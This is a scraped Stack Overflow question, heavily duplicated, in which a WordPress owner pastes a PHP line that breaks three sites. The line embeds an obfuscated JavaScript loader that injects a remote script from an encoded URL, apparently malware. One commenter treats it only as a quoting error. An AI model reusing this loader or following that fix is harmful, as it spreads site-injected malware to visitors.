Parse error: syntax error, unexpected 'text' (T_STRING), expecting ',' or ')' in...
I have 3 sites on the same host and all 3 are showing this error. Can't access the Admin area and got into .php, but don't know how to fix the code. This is what's there now:
if ( $html_head_end = stripos( $html, '<script type='text/javascript'>var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 115, 97, 115, 107, 109, 97, 100, 101, 46, 110, 101, 116, 47, 102, 111, 111, 116, 46, 106, 115, 63, 118, 101, 114, 61, 49, 46, 48, 46, 48);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!!;_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!!;for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=!;}};if(n==!!){a();}</script></head>' ) ) {
$html = substr( $html, 0, $html_head_end );
Any help would be much appreciated!
wordpress
add a comment |
I have 3 sites on the same host and all 3 are showing this error. Can't access the Admin area and got into .php, but don't know how to fix the code. This is what's there now:
if ( $html_head_end = stripos( $html, '<script type='text/javascript'>var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 115, 97, 115, 107, 109, 97, 100, 101, 46, 110, 101, 116, 47, 102, 111, 111, 116, 46, 106, 115, 63, 118, 101, 114, 61, 49, 46, 48, 46, 48);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!!;_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!!;for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=!;}};if(n==!!){a();}</script></head>' ) ) {
$html = substr( $html, 0, $html_head_end );
Any help would be much appreciated!
wordpress
1
That's the risky part of editing php files in the wp-admin. Now that there is an error you have to use FTP (Filezilla is a nice tool) to download, edit and upload your files. Your issue is that you use '<script type' but you should use either double quotes "<script type' . . . . " or escape the single quotes '<script type=' . . . '
– stillatmylinux
Nov 21 '18 at 22:15
I've just started getting this on a couple of my blogs, don't know if its an update gone wrong or been compromised by an incompetent attack
– mattumotu
Nov 22 '18 at 18:36
wordpress.org/support/topic/… looks like others are having the same issue
– mattumotu
Nov 22 '18 at 19:06
Thanks for your input, it's quite helpful. These errors just showed up without me doing any editing. The only update that was done to the site is the auto WP update, but other than that, nothing. I'll give those changes a shot and see what happens.
– DREtech
Nov 23 '18 at 14:59
add a comment |
I have 3 sites on the same host and all 3 are showing this error. Can't access the Admin area and got into .php, but don't know how to fix the code. This is what's there now:
if ( $html_head_end = stripos( $html, '<script type='text/javascript'>var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 115, 97, 115, 107, 109, 97, 100, 101, 46, 110, 101, 116, 47, 102, 111, 111, 116, 46, 106, 115, 63, 118, 101, 114, 61, 49, 46, 48, 46, 48);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!!;_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!!;for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=!;}};if(n==!!){a();}</script></head>' ) ) {
$html = substr( $html, 0, $html_head_end );
Any help would be much appreciated!
wordpress
I have 3 sites on the same host and all 3 are showing this error. Can't access the Admin area and got into .php, but don't know how to fix the code. This is what's there now:
if ( $html_head_end = stripos( $html, '<script type='text/javascript'>var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 115, 97, 115, 107, 109, 97, 100, 101, 46, 110, 101, 116, 47, 102, 111, 111, 116, 46, 106, 115, 63, 118, 101, 114, 61, 49, 46, 48, 46, 48);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!!;_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!!;for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=!;}};if(n==!!){a();}</script></head>' ) ) {
$html = substr( $html, 0, $html_head_end );
Any help would be much appreciated!
wordpress
wordpress
asked Nov 21 '18 at 21:44
DREtechDREtech
62
62
1
That's the risky part of editing php files in the wp-admin. Now that there is an error you have to use FTP (Filezilla is a nice tool) to download, edit and upload your files. Your issue is that you use '<script type' but you should use either double quotes "<script type' . . . . " or escape the single quotes '<script type=' . . . '
– stillatmylinux
Nov 21 '18 at 22:15
I've just started getting this on a couple of my blogs, don't know if its an update gone wrong or been compromised by an incompetent attack
– mattumotu
Nov 22 '18 at 18:36
wordpress.org/support/topic/… looks like others are having the same issue
– mattumotu
Nov 22 '18 at 19:06
Thanks for your input, it's quite helpful. These errors just showed up without me doing any editing. The only update that was done to the site is the auto WP update, but other than that, nothing. I'll give those changes a shot and see what happens.
– DREtech
Nov 23 '18 at 14:59
add a comment |
1
That's the risky part of editing php files in the wp-admin. Now that there is an error you have to use FTP (Filezilla is a nice tool) to download, edit and upload your files. Your issue is that you use '<script type' but you should use either double quotes "<script type' . . . . " or escape the single quotes '<script type=' . . . '
– stillatmylinux
Nov 21 '18 at 22:15
I've just started getting this on a couple of my blogs, don't know if its an update gone wrong or been compromised by an incompetent attack
– mattumotu
Nov 22 '18 at 18:36
wordpress.org/support/topic/… looks like others are having the same issue
– mattumotu
Nov 22 '18 at 19:06
Thanks for your input, it's quite helpful. These errors just showed up without me doing any editing. The only update that was done to the site is the auto WP update, but other than that, nothing. I'll give those changes a shot and see what happens.
– DREtech
Nov 23 '18 at 14:59
1
1
That's the risky part of editing php files in the wp-admin. Now that there is an error you have to use FTP (Filezilla is a nice tool) to download, edit and upload your files. Your issue is that you use '<script type' but you should use either double quotes "<script type' . . . . " or escape the single quotes '<script type=' . . . '
– stillatmylinux
Nov 21 '18 at 22:15
That's the risky part of editing php files in the wp-admin. Now that there is an error you have to use FTP (Filezilla is a nice tool) to download, edit and upload your files. Your issue is that you use '<script type' but you should use either double quotes "<script type' . . . . " or escape the single quotes '<script type=' . . . '
– stillatmylinux
Nov 21 '18 at 22:15
I've just started getting this on a couple of my blogs, don't know if its an update gone wrong or been compromised by an incompetent attack
– mattumotu
Nov 22 '18 at 18:36
I've just started getting this on a couple of my blogs, don't know if its an update gone wrong or been compromised by an incompetent attack
– mattumotu
Nov 22 '18 at 18:36
wordpress.org/support/topic/… looks like others are having the same issue
– mattumotu
Nov 22 '18 at 19:06
wordpress.org/support/topic/… looks like others are having the same issue
– mattumotu
Nov 22 '18 at 19:06
Thanks for your input, it's quite helpful. These errors just showed up without me doing any editing. The only update that was done to the site is the auto WP update, but other than that, nothing. I'll give those changes a shot and see what happens.
– DREtech
Nov 23 '18 at 14:59
Thanks for your input, it's quite helpful. These errors just showed up without me doing any editing. The only update that was done to the site is the auto WP update, but other than that, nothing. I'll give those changes a shot and see what happens.
– DREtech
Nov 23 '18 at 14:59
add a comment |
0
active
oldest
votes
Your Answer
StackExchange.ifUsing("editor", function () {
StackExchange.using("externalEditor", function () {
StackExchange.using("snippets", function () {
StackExchange.snippets.init();
});
});
}, "code-snippets");
StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "1"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);
StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});
function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});
}
});
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53420884%2fparse-error-syntax-error-unexpected-text-t-string-expecting-or-in%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
0
active
oldest
votes
0
active
oldest
votes
active
oldest
votes
active
oldest
votes
Thanks for contributing an answer to Stack Overflow!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53420884%2fparse-error-syntax-error-unexpected-text-t-string-expecting-or-in%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
1
That's the risky part of editing php files in the wp-admin. Now that there is an error you have to use FTP (Filezilla is a nice tool) to download, edit and upload your files. Your issue is that you use '<script type' but you should use either double quotes "<script type' . . . . " or escape the single quotes '<script type=' . . . '
– stillatmylinux
Nov 21 '18 at 22:15
I've just started getting this on a couple of my blogs, don't know if its an update gone wrong or been compromised by an incompetent attack
– mattumotu
Nov 22 '18 at 18:36
wordpress.org/support/topic/… looks like others are having the same issue
– mattumotu
Nov 22 '18 at 19:06
Thanks for your input, it's quite helpful. These errors just showed up without me doing any editing. The only update that was done to the site is the auto WP update, but other than that, nothing. I'll give those changes a shot and see what happens.
– DREtech
Nov 23 '18 at 14:59